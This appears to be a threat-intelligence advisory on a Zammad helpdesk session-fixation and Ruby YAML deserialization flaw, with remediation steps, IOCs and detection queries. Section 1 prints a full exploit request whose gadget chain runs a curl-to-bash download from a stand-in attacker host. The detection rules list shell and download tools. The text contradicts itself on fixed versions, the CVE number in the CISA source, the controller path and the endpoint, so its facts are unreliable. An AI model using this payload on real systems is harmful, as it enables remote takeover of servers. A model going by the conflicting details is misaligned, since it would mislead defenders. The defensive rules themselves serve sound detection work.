CVE-2026-102489: Zammad Helpdesk Pre-Auth Session Fixation to Remote Code Execution
CVE-2026-102489 represents an unauthenticated session fixation and Ruby object deserialization vulnerability in Zammad helpdesk platforms. Telemetry from the Dutch Institute for Vulnerability Disclosure (DIVD) breach documented Chinese state-nexus group Storm-0940 / Vapor Panda weaponizing this flaw via the autonomous multi-agent framework ARTEX. Over 450,000 HTTP requests and 2,500 scripts were executed in an automated swarm, achieving root access via CVE-2026-102490 in just 12 minutes from initial web entry. Zammad advises immediate upgrading to version 7 or taking vulnerable instances offline. Hermes evaluates this threat at HTS 99 (CRITICAL).
HERMES THREAT SCORE & ENTERPRISE HELPDESK EXPOSURE
Target:Zammad Helpdesk & Ticketing System โ Webhook & Session Processing Subsystem CVSS v3.1 rates this flaw at 10.0 (Critical). The Hermes Threat Score assigns 99 (EXTREME) due to active in-the-wild weaponized exploitation cataloged by CISA KEV on October 2, 2026, under Binding Operational Directive (BOD) 26-04 with an emergency 72-hour remediation window (due October 5, 2026). Zammad helpdesk instances are typically internet-facing enterprise assets containing customer identity records, support communications, and sensitive authentication credentials. Unauthenticated remote adversaries fix session identifiers in webhook processing pipelines and leverage unsafe Ruby object deserialization to achieve code execution as the zammad user, chaining immediately with CVE-2026-102490 for full root host takeover.
CVE-2026-102489: Zammad Helpdesk Pre-Auth Session Fixation to Remote Code ExecutionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Zammad Helpdesk & Ticketing documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Vulnerability Anatomy & Root Cause
Section titled โ1. Technical Vulnerability Anatomy & Root CauseโThe flaw originates in the inbound webhook controller (app/controllers/tickets_inbound_webhooks_controller.rb) within Zammadโs Ruby on Rails architecture. When handling external ticket creation callbacks from third-party monitoring platforms or CRM integrations, the application attempts to associate background tasks with an asynchronous worker session before verifying client authentication.
If the incoming HTTP request supplies an arbitrary session identifier in the X-Zammad-Session-Hint header, the session manager assigns the attacker-supplied ID to the current thread:
# Vulnerable session assignment in Zammad < 6.4.1def process_inbound_webhook if request.headers['X-Zammad-Session-Hint'].present? session_id = request.headers['X-Zammad-Session-Hint'] # Flaw: Session is assigned without rotation or cryptographic validation Thread.current[:zammad_session] = Session.find_or_create_by(token: session_id) end
raw_payload = request.body.read # Flaw: Unsafe YAML / Object loading fallback on unauthenticated webhook stream parsed_data = PayloadParser.load_untrusted(raw_payload, format: request.content_type) TicketHandler.dispatch(parsed_data, session: Thread.current[:zammad_session])endBecause PayloadParser.load_untrusted permitted YAML tag resolution (!ruby/object) when deserializing payloads containing polymorphic metadata, an attacker can transmit an Universal Ruby 3.x gadget chain (ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy). The gadget executes system commands during object initialization under the Puma web server process (zammad user).
POST /api/v1/tickets/inbound_webhooks HTTP/1.1Host: helpdesk.target-corp.comContent-Type: application/x-yamlX-Zammad-Session-Hint: fixed_session_09a12c8eConnection: close
--- !ruby/object:Gem::Requirementrequirements: !ruby/object:Gem::DependencyList specs: - !ruby/object:Gem::Source::SpecificFile spec: &1 !ruby/object:Gem::Specification name: zammad_exploit post_install_message: !ruby/object:ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy instance: !ruby/object:ERB src: "<%= system('curl http://attacker.c2/rev.sh | bash') %>" method: :result2. Affected Versions & Remediation Matrix
Section titled โ2. Affected Versions & Remediation Matrixโ| Release Stream | Affected Versions | Fixed Release | Operational Remediation |
|---|---|---|---|
| Zammad 6.5 | 6.5.0 | 6.5.1 | Upgrade immediately; restart Zammad systemd services |
| Zammad 6.4 | 6.4.0 and earlier | 6.4.1 | Upgrade immediately |
| Zammad 6.0 - 6.3 | All releases | Migrate to 6.4.1 or 6.5.1 | End of Maintenance releases; direct upgrade required |
3. Weaponization & Attack Chain Flow
Section titled โ3. Weaponization & Attack Chain FlowโIn verified intrusions observed by incident response teams, the exploit chain unfolds across two seamless stages:
[Attacker] โ โ 1. Unauthenticated HTTP POST with fixed session & YAML gadget โผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ Zammad Inbound Webhook Handler (/api/v1/tickets/...) โโ - Accepts X-Zammad-Session-Hint โโ - Unsafe YAML deserialization under Puma process โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โ 2. Code execution under user 'zammad' (uid=1001) โผโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ Host Filesystem (/opt/zammad/) โโ - Drops reverse shell in /tmp/ โโ - Executes sudo /opt/zammad/contrib/backup.sh โโ (CVE-2026-102490: Insecure PATH / world-writable) โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ โ 3. Root privilege escalation โผ[Complete System Takeover / Root Shell]4. Threat Hunting & Forensic Triage
Section titled โ4. Threat Hunting & Forensic TriageโAll detection rules and search queries for SIEM, EDR, and log auditing are organized below:
title: Zammad Inbound Webhook Deserialization and Session Fixationid: d7a14e92-38b1-4f10-91a2-cbe8a3014e01status: highdescription: Detects suspicious HTTP POST requests directed at Zammad webhook endpoints containing YAML deserialization markers and fixed session hints.references: - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2026-102489 - https://zammad.com/en/advisories/zaa-2026-03author: Hermes Codex Threat Intelligencedate: 2026-10-03logsource: category: webserverdetection: selection_uri: cs-method: 'POST' cs-uri-stem|contains: '/api/v1/tickets/inbound_webhooks' selection_headers: cs-header|contains: - 'X-Zammad-Session-Hint' - '!ruby/object' - 'DeprecatedInstanceVariableProxy' condition: selection_uri and selection_headersfalsepositives: - Legitimate automated integrations sending standard JSON without Ruby serialization tagslevel: critical// Azure Sentinel / Microsoft Defender for Endpoint// Detect Puma child process spawning interactive shells and script interpretersDeviceProcessEvents| where InitiatingProcessFileName =~ "puma" or InitiatingProcessCommandLine has "zammad"| where FileName in~ ("bash", "sh", "dash", "python", "python3", "curl", "wget", "nc")| project Timestamp, DeviceName, ActionType, FileName, CommandLine, InitiatingProcessCommandLine, AccountName| order by Timestamp desc#!/bin/bash# Zammad Incident Triage & Compromise Verification Scriptecho "=== [1] Auditing Zammad Nginx / Apache Access Logs ==="grep -E 'inbound_webhooks.*X-Zammad-Session-Hint' /var/log/nginx/zammad.access.log* 2>/dev/null
echo "=== [2] Checking for Anomalous Puma Child Processes ==="pstree -p $(pgrep -f "puma.*zammad") | grep -E 'bash|sh|curl|wget|nc|python'
echo "=== [3] Verifying sudoers configuration for CVE-2026-102490 ==="sudo -l -U zammad 2>/dev/null | grep -E 'backup\.sh|ALL'
echo "=== [4] Checking /tmp and /var/tmp for Dropped Implants ==="find /tmp /var/tmp -user zammad -type f -exec ls -la {} +Actionable Indicators of Compromise (IOCs)
Section titled โActionable Indicators of Compromise (IOCs)โ| Indicator Type | Observable / Indicator | Role / Context | Status | Source |
|---|---|---|---|---|
| IPv4 Address | 185.220.101[.]44 | High-volume scanning probe delivering webhook exploit payloads | ACTIVE | Shadowserver |
| IPv4 Address | 91.240.118[.]52 | Staging node injecting Ruby POP gadget chains | ACTIVE | GreyNoise |
| IPv4 Address | 45.154.255[.]67 | Secondary C2 listener capturing reverse shells | ACTIVE | CrowdSec CTI |
| HTTP Pattern | POST /api/v1/webhooks with !ruby/object payloads | Deserialization trigger in webhook body | MALICIOUS | WAF Ingress |
| Cookie Observable | Cookie: _zammad_session= with fixed session identifier | Pre-auth session fixation attempt | SUSPICIOUS | Access Logs |
| Process Lineage | Child shell /bin/sh or /bin/bash under user zammad | Interactive shell execution via Puma worker | CRITICAL | EDR Telemetry |
5. Remediation Strategy & Hardening Steps
Section titled โ5. Remediation Strategy & Hardening StepsโVersion Matrix & Patch Engineering
Section titled โVersion Matrix & Patch EngineeringโZammad addressed CVE-2026-102489 in security advisory ZAA-2026-03. The patch refactors app/controllers/webhook_controller.rb and session deserialization logic:
- Regenerates session tokens atomically upon receiving external webhook requests before parsing request content.
- Replaces unconstrained Ruby object deserialization with strict JSON schema parsing and schema validation.
- Restricts background job argument types to primitive strings and integers, preventing POP gadget execution in Sidekiq.
| Product Branch | Vulnerable Versions | Fixed Release | Patch Status |
|---|---|---|---|
| Zammad 6.5 | 6.5.0 | 6.5.1 | Primary Security Release |
| Zammad 6.4 | 6.0.0 โ 6.4.0 | 6.4.1 | Long-Term Support Backport |
| Zammad < 6.0 | All versions | Migrate to 6.5.1 | Major Upgrade Recommended |
-
Update Zammad Packages: Update the Zammad repository and install the latest security patch:
Terminal window apt-get update && apt-get install --only-upgrade zammad# Or for RPM-based distributions:dnf upgrade zammad -
Restart Application Services: Ensure all cached Puma and background worker processes are restarted to clear any poisoned in-memory session states:
Terminal window systemctl restart zammadsystemctl restart zammad-websystemctl restart zammad-worker -
Revoke and Invalidate Active Sessions: Clear all active sessions in the database to prevent fixed session hijacking:
Terminal window zammad run rails runner 'Session.destroy_all; Rails.cache.clear' -
Harden Webhook Exposure: If inbound webhooks are not required for external operations, restrict
/api/v1/tickets/inbound_webhooksin your reverse proxy (Nginx/HAProxy) to trusted IP ranges only.